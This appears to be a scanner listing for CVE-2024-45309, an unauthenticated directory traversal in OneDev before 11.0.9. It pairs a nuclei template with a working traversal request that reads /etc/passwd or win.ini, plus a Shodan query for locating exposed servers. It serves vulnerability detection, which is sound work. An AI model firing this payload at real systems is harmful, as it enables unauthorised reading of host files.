OneDev.io < 11.0.9 - Arbitrary File Read

highseverity

7.5CVSS score

24.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Files on the host computer can be accessed by directory traversal.

Impact

An attacker would be able to view the contents of a file on the computer.

Fix

Update to version 11.0.9.

How to confirm it

Send: GET /~projects
Positive when: contains(tolower(body), "onedev")
Send: GET {{project}}/~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{{path}}
Positive when: matches /root:.*:0:0:/ AND contains in header "filename=" and "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-45309 -u <target>

The full check

id: CVE-2024-45309

info:
  name: OneDev.io < 11.0.9 - Arbitrary File Read
  author: isacaya
  severity: high
  description: |
    Files on the host computer can be accessed by directory traversal.
  impact: |
    An attacker would be able to view the contents of a file on the computer.
  remediation: |
    Update to version 11.0.9.
  reference:
    - https://x.com/Siebene7/status/1848727539046617324
    - https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45309
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45309
    cwe-id: CWE-22
    epss-score: 0.24531
    epss-percentile: 0.97895
    cpe: cpe:2.3:a:onedev_project:onedev:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: onedev
    shodan-query: html:"onedev.io"
    product: onedev
    framework: java
  tags: cve,cve2024,lfi,onedev,vuln,vkev

flow: |
  http(1)
  for (let projectName of iterate(template.project)) {
    set("project", projectName)
    http(2)
  }

http:
  - raw:
      - |
        GET /~projects HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "onedev")'
        internal: true

    extractors:
      - type: regex
        part: body
        name: project
        group: 3
        regex:
          - '<a class="mr-([0-9]+)" id="([a-z0-9]+)" href="(.*)">'
        internal: true

  - raw:
      - |
        GET {{project}}/~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'root:.*:0:0:'
          - '\\[(font|extension|file)s\\]'
        condition: or

      - type: word
        part: header
        words:
          - 'filename='
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from